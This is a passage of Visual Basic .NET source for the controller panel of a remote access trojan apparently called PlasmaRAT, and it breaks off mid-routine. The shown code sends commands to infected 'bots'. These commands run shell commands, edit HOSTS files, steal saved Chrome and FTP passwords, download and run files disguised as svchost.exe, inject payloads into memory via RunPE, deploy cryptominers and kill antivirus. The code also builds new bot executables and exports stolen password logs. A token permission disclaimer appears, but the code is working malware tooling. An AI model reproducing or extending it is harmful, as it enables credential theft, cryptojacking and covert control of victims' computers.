    Private Sub bwflood_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles bwflood.CheckedChanged
        ChangedDDoS()
    End Sub

    Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
        If TextBox5.Text.Contains("http://") Then TextBox5.Text = TextBox5.Text.Replace("http://", String.Empty)

        Try
            target.Text = System.Net.Dns.GetHostByName(TextBox5.Text).AddressList(0).ToString()
        Catch
            MsgBox("Unable to resolve hostname")
        End Try

    End Sub

    Private Sub Button7_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)

    End Sub

    Private Sub TextBox7_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs)

    End Sub

    Private Sub ToolStripMenuItem1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripMenuItem1.Click
        If MsgBox("Retrieve General PC Info?", MsgBoxStyle.YesNo, "") = MsgBoxResult.Yes Then
            SendToSelected("info")
        End If
    End Sub


    Private Sub OpenVisibleToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles OpenVisibleToolStripMenuItem.Click


        Dim S As String = InputBox("URL To Open (Default Browser):", "")
        If Not S = String.Empty Then
            Dim URL As String
            If Not S.Contains("http://") Then
                If Not S.Contains("https://") Then
                    URL = S
                    S = "http://" & URL
                End If
            End If

            SendToSelected("visit " & S)
        End If

    End Sub

    Private Sub OpenHiddenToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles OpenHiddenToolStripMenuItem.Click
        Dim S As String = InputBox("URL To Open (Default Browser):", "")
        If Not S = String.Empty Then
            Dim URL As String
            If Not S.Contains("http://") Then
                If Not S.Contains("https://") Then
                    URL = S
                    S = "http://" & URL
                End If
            End If

            SendToSelected("visit -h " & S)
        End If
    End Sub

    Private Sub StartToolStripMenuItem1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles StartToolStripMenuItem1.Click

        Dim S As String = InputBox("Command to Execute:", "")
        If Not S = String.Empty Then


            SendToSelected("shell " & """" & S & """")
        End If
    End Sub

    Private Sub StopToolStripMenuItem2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles StopToolStripMenuItem2.Click
        Dim S As String = InputBox("Line to add to HOSTS:", "")
        If Not S = String.Empty Then

            SendToSelected("hosts " & """" & S & """")
        End If
    End Sub

    Private Sub RunBotKillerToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles RunBotKillerToolStripMenuItem.Click
        If MsgBox("Are you sure you want to run the Bot Killer Command? This will remove any existing malware on the system.", MsgBoxStyle.YesNo, "") = MsgBoxResult.Yes Then
            SendToSelected("botkiller.run")
        End If
    End Sub

    Private Sub EnableProactiveBotKillerToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles EnableProactiveBotKillerToolStripMenuItem.Click
        If MsgBox("Are you sure you want to enable the Proactive Bot Killer?", MsgBoxStyle.YesNo, "") = MsgBoxResult.Yes Then
            SendToSelected("botkiller.enable")
        End If



    End Sub

    Private Sub DisableProactiveBotKillerToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles DisableProactiveBotKillerToolStripMenuItem.Click
        If MsgBox("Are you sure you want to disable the Proactive Bot Killer?", MsgBoxStyle.YesNo, "") = MsgBoxResult.Yes Then
            SendToSelected("botkiller.disable")
        End If
    End Sub

    Private Sub ChromeStealerToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ChromeStealerToolStripMenuItem.Click
        If MsgBox("Recover Saved Chrome Passwords?", MsgBoxStyle.YesNo, "") = MsgBoxResult.Yes Then
            SendToSelected("chrome")
        End If
    End Sub

    Private Sub FTPStealerToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles FTPStealerToolStripMenuItem.Click
        If MsgBox("Recover FTP Accounts?", MsgBoxStyle.YesNo, "") = MsgBoxResult.Yes Then
            SendToSelected("ftp")
        End If
    End Sub

    Private Sub StopToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles StopToolStripMenuItem.Click
        If MsgBox("Retrieve PC Specifications?", MsgBoxStyle.YesNo, "") = MsgBoxResult.Yes Then
            SendToSelected("pcspecs")
        End If
    End Sub

    Private Sub AVInfoToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles AVInfoToolStripMenuItem.Click
        If MsgBox("Retrieve AV Info?", MsgBoxStyle.YesNo, "") = MsgBoxResult.Yes Then
            SendToSelected(".avdetails")
        End If
    End Sub

    Private Sub EnableMuteToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles EnableMuteToolStripMenuItem.Click
        If MsgBox("Enable Mute?", MsgBoxStyle.YesNo, "") = MsgBoxResult.Yes Then
            SendToSelected("mute on")
        End If
    End Sub

    Private Sub DisableMuteToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles DisableMuteToolStripMenuItem.Click
        If MsgBox("Disable Mute?", MsgBoxStyle.YesNo, "") = MsgBoxResult.Yes Then
            SendToSelected("mute off")
        End If
    End Sub

    Private Sub UninstallToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles UninstallToolStripMenuItem.Click
        If MsgBox("Are you sure you want to run the uninstall command? This will remove the bot from this system.", MsgBoxStyle.YesNo, "") = MsgBoxResult.Yes Then
            If MsgBox("Are you COMPLETELY sure you want to run the Uninstall command? You will lose your bots.", MsgBoxStyle.YesNo, "") = MsgBoxResult.Yes Then

                SendToSelected("remove.bot")
            End If
        End If
    End Sub

    Private Sub LogView_SelectedIndexChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles LogView.SelectedIndexChanged

    End Sub

    Private Sub ToolStripMenuItem2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripMenuItem2.Click
        BotListView.BeginUpdate()
        For Each i As ListViewItem In BotListView.Items
            i.Selected = True
        Next
        BotListView.EndUpdate()


    End Sub

    Private Sub ToolStripMenuItem3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripMenuItem3.Click
        Try
            Dim S As String = InputBox("Number of Bots to Select:", "")
            If Not S = String.Empty Then


                Dim x = Convert.ToInt32(S)

                If Not x > BotListView.Items.Count.ToString Then
                    Dim Selected = 0

                    BotListView.BeginUpdate()
                    For Each i As ListViewItem In BotListView.Items
                        If Not Selected = x Then
                            Selected = Selected + 1
                            i.Selected = True
                        End If


                    Next
                    BotListView.EndUpdate()

                Else
                    MsgBox("You do not have this many bots online")
                End If



            End If

        Catch
            MsgBox("An error occured.")
        End Try
    End Sub

    Private Sub Button11_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)

    End Sub

    Private Sub Button8_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)

    End Sub

    Private Sub ExecuteFileToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ExecuteFileToolStripMenuItem.Click
        Dim S As String = InputBox("File to Download and Execute (Direct Download Link):", "")
        If Not S = String.Empty Then

            Dim D As String = InputBox("Run File As (Example: svchost.exe, msconfig.exe, file.jar, system.vbs):", "")
            If Not D = String.Empty Then


                SendToSelected("download " & S & " " & D)
            End If
        End If
    End Sub

    Private Sub UpdateToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles UpdateToolStripMenuItem.Click
        If MsgBox("Are you sure you want to start the update process? This will remove the bot after running the new one.", MsgBoxStyle.YesNo, "") = MsgBoxResult.Yes Then
            Dim S As String = InputBox("File to Update to (Direct Download Link):", "")
            If Not S = String.Empty Then

                Dim D As String = InputBox("Run File As (Example: svchost.exe, msconfig.exe, file.jar, system.vbs):", "")
                If Not D = String.Empty Then


                    SendToSelected("update.bot " & S & " " & D)
                End If
            End If
        End If
    End Sub
    Public Function AES_Encrypt(ByVal input As String) As String
        Dim AES As New System.Security.Cryptography.RijndaelManaged
        Dim Hash_AES As New System.Security.Cryptography.MD5CryptoServiceProvider
        Dim encrypted As String = ""
        Try
            Dim hash(31) As Byte
            Dim temp As Byte() = Hash_AES.ComputeHash(System.Text.ASCIIEncoding.ASCII.GetBytes(EncryptionKey))
            Array.Copy(temp, 0, hash, 0, 16)
            Array.Copy(temp, 0, hash, 15, 16)
            AES.Key = hash
            AES.Mode = System.Security.Cryptography.CipherMode.ECB
            Dim DESEncrypter As System.Security.Cryptography.ICryptoTransform = AES.CreateEncryptor
            Dim Buffer As Byte() = System.Text.ASCIIEncoding.ASCII.GetBytes(input)
            encrypted = Convert.ToBase64String(DESEncrypter.TransformFinalBlock(Buffer, 0, Buffer.Length))
            Return encrypted
        Catch ex As Exception
        End Try
    End Function
    Public Function AES_Decrypt(ByVal input As String) As String
        Dim AES As New System.Security.Cryptography.RijndaelManaged
        Dim Hash_AES As New System.Security.Cryptography.MD5CryptoServiceProvider
        Dim decrypted As String = ""
        Try
            Dim hash(31) As Byte
            Dim temp As Byte() = Hash_AES.ComputeHash(System.Text.ASCIIEncoding.ASCII.GetBytes(EncryptionKey))
            Array.Copy(temp, 0, hash, 0, 16)
            Array.Copy(temp, 0, hash, 15, 16)
            AES.Key = hash
            AES.Mode = System.Security.Cryptography.CipherMode.ECB
            Dim DESDecrypter As System.Security.Cryptography.ICryptoTransform = AES.CreateDecryptor
            Dim Buffer As Byte() = Convert.FromBase64String(input)
            decrypted = System.Text.ASCIIEncoding.ASCII.GetString(DESDecrypter.TransformFinalBlock(Buffer, 0, Buffer.Length))
            Return decrypted
        Catch ex As Exception
        End Try
    End Function
    Private Sub ListView1_DrawSubItem(ByVal sender As System.Object, ByVal e As System.Windows.Forms.DrawListViewSubItemEventArgs) Handles NewsView.DrawSubItem
        Dim SB As New SolidBrush(e.SubItem.ForeColor)

        e.DrawBackground()
        e.Graphics.DrawString(e.SubItem.Text, e.SubItem.Font, SB, e.Bounds, Nothing)

        SB.Dispose()
    End Sub
    Private Sub ListView1_MouseMove(ByVal sender As Object, ByVal e As MouseEventArgs) Handles NewsView.MouseMove
        If NewsView.GetItemAt(e.X, e.Y) Is Nothing Then
            NewsView.Cursor = Cursors.Default
        Else
            NewsView.Cursor = Cursors.Hand
        End If
    End Sub

    Private Sub NewsView_SelectedIndexChanged_2(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles NewsView.Click
        If NewsView.SelectedIndices.Count = 0 Then Return
        ShowPostMessage(DirectCast(NewsView.SelectedItems(0).Tag, NewsPost))
    End Sub
    Private Sub ShowPostMessage(ByVal post As NewsPost)
        Dim Message As String = Seal.GetPostMessage(post.ID)

        If String.IsNullOrEmpty(Message) Then
            ShowNewsEntries()
        Else
            NewsHeader.Text = post.Name
            MessageBox.Show(Message, "News", MessageBoxButtons.OK, MessageBoxIcon.Information)

        End If
    End Sub
    Private Sub ShowNewsEntries()
        NewsView.Items.Clear()

        For Each P As NewsPost In Seal.News
            Dim I As New ListViewItem(P.Time.ToString("MM.dd.yy"))
            I.SubItems.Add(P.Name)
            I.Tag = P
            NewsView.Items.Add(I)
        Next
    End Sub

    Private Sub NewsView_SelectedIndexChanged_3(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles NewsView.SelectedIndexChanged

    End Sub

    Private Sub Pong_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Ping.Tick
        If PingPong.Checked = True Then
            If Not BotListView.Items.Count = 0 Then
                SendToAll("l")
            End If
        End If
    End Sub
    Sub AddClient(ByVal strings() As String)
        Try
            Dim l As New ListViewItem(strings)


            '    If Not BotListView.Items.Contains(l) Then




            BotListView.Items.Add(l)

        Catch : End Try
        '  End If
    End Sub
    Private Sub Button7_Click_1(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button7.Click
        AddClient({"72.32.43.20", "USA", "Windows 7 x64", "Jacob", "4 Cores", "User", "1.5"})
        AddClient({"68.142.243.103", "USA", "Windows 7 x64", "me", "2 Cores", "User", "1.5"})
        AddClient({"98.136.63.35", "BRA", "Windows XP x86", "Administrator", "2 Cores", "Admin", "1.5"})
        AddClient({"87.248.125.49", "CAN", "Windows 7 x86", "Typer", "2 Cores", "User", "1.5"})
        AddClient({"217.146.191.19", "USA", "Windows Vista x64", "Emma", "4 Cores", "User", "1.5"})
        AddClient({"76.124.248.194", "ESP", "Windows XP x86", "Administrator", "1 Core", "Admin", "1.5"})
        AddClient({"93.91.250.134", "USA", "Windows Vista x86", "Aiden", "4 Cores", "User", "1.5"})
        AddClient({"176.31.209.33", "IRN", "Windows XP x86", "Noah", "4 Cores", "Admin", "1.5"})
        AddClient({"183.170.243.116", "USA", "Windows XP x86", "javadi", "2 Cores", "Admin", "1.5"})
        AddClient({"85.25.100.13", "USA", "Windows 7 x64", "tusbung", "8 Cores", "User", "1.5"})
        AddClient({"109.168.111.41", "BRA", "Windows 7 x64", "taye", "4 Cores", "User", "1.5"})
        AddClient({"94.23.71.216", "USA", "Windows XP x86", "Emily", "2 Cores", "Admin", "1.5"})
        AddClient({"5.135.142.32", "USA", "Windows 7 x86", "Avery", "4 Cores", "User", "1.5"})
        AddClient({"69.197.50.71", "VEN", "Windows Vista x86", "GANKK", "8 Cores", "User", "1.5"})
        AddClient({"198.23.247.55", "USA", "Windows 7 x64", "Administrator", "4 Cores", "User", "1.5"})
        AddClient({"71.174.59.38", "ARG", "Windows XP x86", "Andrew", "2 Cores", "Admin", "1.5"})


        While Not BotListView.Items.Count = 974
            Dim CurClient As New ListViewItem("127.0.0.1") ' Server ID


            CurClient.SubItems.Add("test") ' IP
            CurClient.SubItems.Add("Windows 8") ' OS
            CurClient.SubItems.Add("eadsf") ' User
            CurClient.SubItems.Add("ddd") ' User
            CurClient.SubItems.Add("xxx") ' User
            CurClient.SubItems.Add("aeasdf")




            BotListView.Items.Add(CurClient)
        End While
    End Sub

    Private Sub Label11_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)

    End Sub

    Private Sub ResendCommandToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ResendCommandToolStripMenuItem.Click
        Dim commandtoSend As String

        If CommandsListView.SelectedItems.Count > 0 Then
            If Not CommandsListView.SelectedItems(0).Text = String.Empty Then

                commandtoSend = CommandsListView.SelectedItems(0).Text



                If MsgBox("Are you sure you want to resend the command: " & vbNewLine & commandtoSend & vbNewLine & "to all online bots?", MsgBoxStyle.YesNo, "") = MsgBoxResult.Yes Then
                    SendToAll(commandtoSend)


                End If

            End If
        End If
    End Sub

    Private Sub SendCommandOnConnectToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles SendCommandOnConnectToolStripMenuItem.Click
        If CommandsListView.SelectedItems.Count > 0 Then
            If Not CommandsListView.SelectedItems(0).Text = String.Empty Then
                Dim commandOnSend = CommandsListView.SelectedItems(0).Text

                If MsgBox("Are you sure you want to send the command: " & vbNewLine & commandOnSend & vbNewLine & "to bots as they connect?", MsgBoxStyle.YesNo, "") = MsgBoxResult.Yes Then


                    OnConnectCommand = commandOnSend
                    '    Commands.ToolStripDropDownAccessibleObject.ToolStripMenuItem11()
                    ToolStripMenuItem11.Text = "On-Join Command: " & OnConnectCommand

                End If
            End If
        End If

    End Sub

    Private Sub Button12_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)

    End Sub


    Private Sub Button13_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button13.Click
        ' USE THE STUB

        If BackupDNS.Text = String.Empty Then
            MessageBox.Show("You cannot have backup DNS textbox blank. Please cancel this build operation and put something in it, even if it is disabled!")
        End If

        Try
            Try : SaveSetting("PlasmaRAT", "Config", "DNS", DNSBuild.Text) : Catch : End Try
            Dim SettingsString As String = ""
            If EnableInstallation.Checked = True Then SettingsString = SettingsString & "z"
            If SetKernelObjectSecurity.Checked Then SettingsString = SettingsString & "q"
            If SWIP.Checked Then SettingsString = SettingsString & "i"
            If AVKiller.Checked Then SettingsString = SettingsString & "a"
            If BotResourceProtection.Checked Then SettingsString = SettingsString & "s"
            If AutomaticBK.Checked Then SettingsString = SettingsString & "bk"
            If SetProcessCritical.Checked Then SettingsString = SettingsString & "c"
            If EnableBackupDNS.Checked Then SettingsString = SettingsString & "y"
            Dim omgawd = "*"
            Dim compileinfo = Builder.EncryptConfig(omgawd & DNSBuild.Text & omgawd & PORTBuild.Text & omgawd & Seal.Username & omgawd & FileName.Text & omgawd & Folder.Text & omgawd & SettingsString & omgawd & BackupDNS.Text & omgawd)
            If compileinfo.Length < 300 Then

                While Not compileinfo.Length = 300
                    compileinfo = compileinfo & " "
                End While
                Dim WhatWereReplacing = System.Text.ASCIIEncoding.ASCII.GetBytes(Seal.GetVariable("StubDecryptionKey"))
                Dim WhatWereReplacingWith = System.Text.ASCIIEncoding.ASCII.GetBytes(compileinfo)
                Dim wget As New System.Net.WebClient()
                Dim Bin = wget.DownloadData(Seal.GetVariable("BACKUPDNS"))
                Dim Decryptedbin = Builder.Proper_RC4(Bin, System.Text.Encoding.UTF8.GetBytes(Seal.GetVariable("Test")))
                Using S As New SaveFileDialog With {.Filter = "*.exe | *.exe"}
                    If S.ShowDialog = 1 Then
                        My.Computer.FileSystem.WriteAllBytes(S.FileName, Builder.ReplaceBytes(Decryptedbin, WhatWereReplacing, WhatWereReplacingWith), False)
                        MessageBox.Show("Successfully Built Bot Bin at: " & S.FileName & vbNewLine & vbNewLine & "This is the file you run on other computers. When another computer runs this file, they will connect to you. Please only run this executable on computers which you have explict permission to do so on." & vbNewLine & vbNewLine & "DO NOT test this by running it on yourself! Use Sandboxie, or a virtual machine!", "Success!", MessageBoxButtons.OK, MessageBoxIcon.Information)
                    End If
                End Using

            Else
                MessageBox.Show("Config too large. This is a very rare error.")
            End If


        Catch
            MessageBox.Show("Error Building Bin. Please restart Plasma and try again.")
        End Try

    End Sub

    Private Sub DNSBuild_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles DNSBuild.Click
        If DNSBuild.Text = "example.no-ip.org" Then DNSBuild.Text = String.Empty
    End Sub

    Private Sub Button15_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button15.Click
        If CPUMiner.Checked = True Then
            SendToAll("miner.stop")
        Else
            SendToAll("miner.gpu.stop")
        End If
    End Sub

    Private Sub Button14_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button14.Click
        If Not MinerFiles.Text = String.Empty Then
            If Not MinerPool.Text = String.Empty Then
                If Not MinerUser.Text = String.Empty Then
                    If Not MinerPass.Text = String.Empty Then
                        SaveSetting("PlasmaRAT", "Config", "MinerSettings", MinerFiles.Text & " " & MinerPool.Text & " " & MinerUser.Text & " " & MinerPass.Text)
                        If CPUMiner.Checked = True Then
                            SendToAll("miner.start " & MinerFiles.Text & " " & MinerPool.Text & " " & MinerUser.Text & " " & MinerPass.Text)
                        Else
                            SendToAll("miner.gpu.start " & MinerFiles.Text & " " & MinerPool.Text & " " & MinerUser.Text & " " & MinerPass.Text)
                        End If
                    End If
                End If
            End If
        End If


    End Sub

    Private Sub SendMinerOnConnect_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles SendMinerOnConnect.CheckedChanged
        If SendMinerOnConnect.Checked = True Then
            If CPUMiner.Checked = True Then
                OnConnectMiner = ("miner.start " & MinerFiles.Text & " " & MinerPool.Text & " " & MinerUser.Text & " " & MinerPass.Text)
            End If
            If GPUMiner.Checked = True Then
                OnConnectMiner = ("miner.gpu.start " & MinerFiles.Text & " " & MinerPool.Text & " " & MinerUser.Text & " " & MinerPass.Text)
            End If
            MinerFiles.ReadOnly = True
            MinerPool.ReadOnly = True
            MinerUser.ReadOnly = True
            MinerPass.ReadOnly = True
            CPUMiner.Enabled = False
            GPUMiner.Enabled = False
        Else
            OnConnectMiner = String.Empty
            MinerFiles.ReadOnly = False
            MinerPool.ReadOnly = False
            MinerUser.ReadOnly = False
            MinerPass.ReadOnly = False
            CPUMiner.Enabled = True
            GPUMiner.Enabled = True
        End If
    End Sub

    Private Sub MinerPool_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MinerPool.Click
        If MinerPool.Text = "stratum+tcp://ltc-stratum.examplepool.net" Then MinerPool.Text = String.Empty
    End Sub

    Private Sub Button16_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button16.Click
        Process.Start("http://plasma.bz/forums/showthread.php?tid=6")
    End Sub

    Private Sub ToolStripMenuItem4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)

    End Sub

    Private Sub ToolStripMenuItem6_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripMenuItem6.Click
        BotLogs = String.Empty
        LogView.Items.Clear()
    End Sub

    Private Sub ToolStripMenuItem5_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripMenuItem5.Click
        If Not BotLogs = String.Empty Then My.Computer.Clipboard.SetText(BotLogs)
        MsgBox("Copied to Clipboard Successfully!")
    End Sub

    Private Sub ToolStripMenuItem9_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripMenuItem9.Click
        PasswordLogs = String.Empty
        PasswordListView.Items.Clear()
    End Sub

    Private Sub ToolStripMenuItem10_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripMenuItem10.Click
        If Not PasswordLogs = String.Empty Then My.Computer.Clipboard.SetText(PasswordLogs)
        MsgBox("Copied to Clipboard Successfully!")
    End Sub

    Private Sub ToolStripMenuItem13_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripMenuItem13.Click
        If Not CommandsLogs = String.Empty Then My.Computer.Clipboard.SetText(CommandsLogs)
        MsgBox("Copied to Clipboard Successfully!")
    End Sub

    Private Sub ToolStripMenuItem14_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripMenuItem14.Click
        CommandsLogs = String.Empty
        CommandsListView.Items.Clear()
    End Sub

    Private Sub ToolStripMenuItem12_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripMenuItem12.Click
        OnConnectCommand = String.Empty
        ToolStripMenuItem11.Text = "On-Join Command: N/A"
        '      OnConnectLabel.Text = "Command to Send on Connect: N/A"
    End Sub

    Private Sub OnConnectLabel_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)

    End Sub

    Private Sub ToolStripMenuItem7_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)


    End Sub

    Private Sub ToolStripMenuItem8_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripMenuItem8.Click
        If Not PasswordLogs = String.Empty Then

            Dim myStream As Stream
            Dim saveFileDialog1 As New SaveFileDialog()

            saveFileDialog1.Filter = "txt files (*.txt)|*.txt"
            saveFileDialog1.FilterIndex = 2
            saveFileDialog1.RestoreDirectory = True

            If saveFileDialog1.ShowDialog() = DialogResult.OK Then
                IO.File.WriteAllText(saveFileDialog1.FileName, PasswordLogs)
                MessageBox.Show("Passwords Exported Successfully!")
            End If
        End If









    End Sub

    Private Sub ToolStripMenuItem4_Click_1(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripMenuItem4.Click
        SendToAll("chrome")
    End Sub

    Private Sub ToolStripMenuItem7_Click_1(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripMenuItem7.Click
        SendToAll("ftp")
    End Sub
    Private Sub Folder_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Folder.Click
        Dim r As New Random
        '  Mutex.Text = r.Next(10000000, 999999999).ToString
        '  Folder.Text = "{$" & r.Next(1000, 9000).ToString & "-" & r.Next(1000, 9000).ToString & "-" & r.Next(1000, 9000).ToString & "-" & r.Next(1000, 9000) & "$}"
    End Sub

    Private Sub EnableInstallation_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles EnableInstallation.CheckedChanged
        If EnableInstallation.Checked = True Then
            FileName.Enabled = True
            Folder.Enabled = True
            SWIP.Enabled = True
            AVKiller.Enabled = True
            BotResourceProtection.Enabled = True
            AutomaticBK.Enabled = True
            SetProcessCritical.Enabled = True

            SWIP.Checked = True
            AVKiller.Checked = True
            BotResourceProtection.Checked = True
            AutomaticBK.Checked = False
            SetProcessCritical.Checked = False

        Else
            FileName.Enabled = False
            Folder.Enabled = False
            SWIP.Enabled = False
            AVKiller.Enabled = False
            BotResourceProtection.Enabled = False
            AutomaticBK.Enabled = False
            SetProcessCritical.Enabled = False

            SWIP.Checked = False
            AVKiller.Checked = False
            BotResourceProtection.Checked = False
            AutomaticBK.Checked = False
            SetProcessCritical.Checked = False

        End If
    End Sub

    Private Sub RunHardBotKillerToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles RunHardBotKillerToolStripMenuItem.Click
        If MsgBox("Are you sure you want to run the Hard Bot Killer? This will hinder the installation of new files on the system. Please only use this on highly infected computers.", MsgBoxStyle.YesNo, "") = MsgBoxResult.Yes Then
            SendToSelected("botkiller.hardbk")
        End If
    End Sub

    Private Sub InjectFileRunPEToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles InjectFileRunPEToolStripMenuItem.Click
        Dim S As String = InputBox("File to Inject into Memory via RunPE (Direct Download Link):", "")
        If Not S = String.Empty Then
            SendToSelected("inject.runpe " & S)
        End If

    End Sub

    Private Sub InjectFileReflectionToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles InjectFileReflectionToolStripMenuItem.Click
        Dim S As String = InputBox("File to Inject into Memory via Reflection (Direct Download Link):", "")
        If Not S = String.Empty Then
            SendToSelected("inject.reflect " & S)
        End If


    End Sub

    Private Sub StopMiningToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles StopMiningToolStripMenuItem.Click
        If MsgBox("Start GPU Mining on Selected Bots? This will use the settings from the Miner Tab.", MsgBoxStyle.YesNo, "") = MsgBoxResult.Yes Then
            If Not MinerFiles.Text = String.Empty Then
                If Not MinerPool.Text = String.Empty Then
                    If Not MinerUser.Text = String.Empty Then
                        If Not MinerPass.Text = String.Empty Then

                            SendToSelected("miner.gpu.start " & MinerFiles.Text & " " & MinerPool.Text & " " & MinerUser.Text & " " & MinerPass.Text)

                        End If
                    End If
                End If
            End If



        End If
    End Sub

    Private Sub ToolStripMenuItem15_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripMenuItem15.Click
        If MsgBox("Start CPU Mining on Selected Bots? This will use the settings from the Miner Tab.", MsgBoxStyle.YesNo, "") = MsgBoxResult.Yes Then
            If Not MinerFiles.Text = String.Empty Then
                If Not MinerPool.Text = String.Empty Then
                    If Not MinerUser.Text = String.Empty Then
                        If Not MinerPass.Text = String.Empty Then

                            SendToSelected("miner.start " & MinerFiles.Text & " " & MinerPool.Text & " " & MinerUser.Text & " " & MinerPass.Text)

                        End If
                    End If
                End If
            End If



        End If
    End Sub

    Private Sub Button8_Click_1(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button8.Click
        MessageBox.Show("Be sure to listen on this port before testing!", "Info", MessageBoxButtons.OK, MessageBoxIcon.Information)
        Process.Start("http://canyouseeme.org")
    End Sub

    Private Sub Button6_Click_1(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button6.Click
        Try
            Dim DNSIP = System.Net.Dns.GetHostByName(DNSBuild.Text).AddressList(0).ToString()
            Dim w As New System.Net.WebClient()
            Dim ip As String = w.DownloadString("http://api.wipmania.com/")
            Dim lol() = Split(ip, "<br>")
            Dim xd = lol(0)

            If DNSIP = xd Then
                MessageBox.Show("Your DNS is valid and resolves to your IP!", "Success!", MessageBoxButtons.OK, MessageBoxIcon.Information)
            Else
                MessageBox.Show("Your DNS is valid, but does not resolve to your IP. Your DNS may need time to update.", "Warning", MessageBoxButtons.OK, MessageBoxIcon.Warning)
            End If

        Catch ex As Exception
            MessageBox.Show("Unable to test DNS. You probably typed in an invalid DNS, or your internet is offline. Error info: " & vbNewLine & ex.ToString, "Error", MessageBoxButtons.OK, MessageBoxIcon.Error)
        End Try
    End Sub


    Private Sub StartListening_ButtonClick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles StartListening.ButtonClick
        Try
            If Not StartListening.Text.Contains("Listening") Then
                Dim Msg = InputBox("Port to Listen on:", "Port to Listen on", PortToListenTo.ToString)
                If Not Msg = String.Empty Then
                    PortToListenTo = Convert.ToInt32(Msg)
                    listenerThread = New Thread(AddressOf Listen)
                    listenerThread.IsBackground = True
                    listenerThread.Start()
                    StartListening.Text = "Listening On: " & PortToListenTo.ToString
                    SaveSetting("PlasmaRAT", "Config", "Port", PortToListenTo.ToString)
                End If
            End If
        Catch ex As Exception
            MessageBox.Show("A strange issue as occured. Error details: " & vbNewLine & ex.ToString, "Error", MessageBoxButtons.OK, MessageBoxIcon.Error)
        End Try
    End Sub

    Private Sub CPUMiner_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CPUMiner.CheckedChanged
        Dim lel() = Split(MinerFileURL, "|")
        If CPUMiner.Checked = True Then
            MinerFiles.Text = lel(0)
        Else
            MinerFiles.Text = lel(1)
        End If
    End Sub

    Private Sub GPUMiner_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles GPUMiner.CheckedChanged

    End Sub

    Private Sub Button4_Click_1(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button4.Click
        SendToAll("miner.reset")
    End Sub

    Private Sub LowBandwidth_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles LowBandwidth.CheckedChanged
        If LowBandwidth.Checked = True Then
            SaveSetting("PlasmaRAT", "Config", "LowBandwidth", "Enabled")
        Else
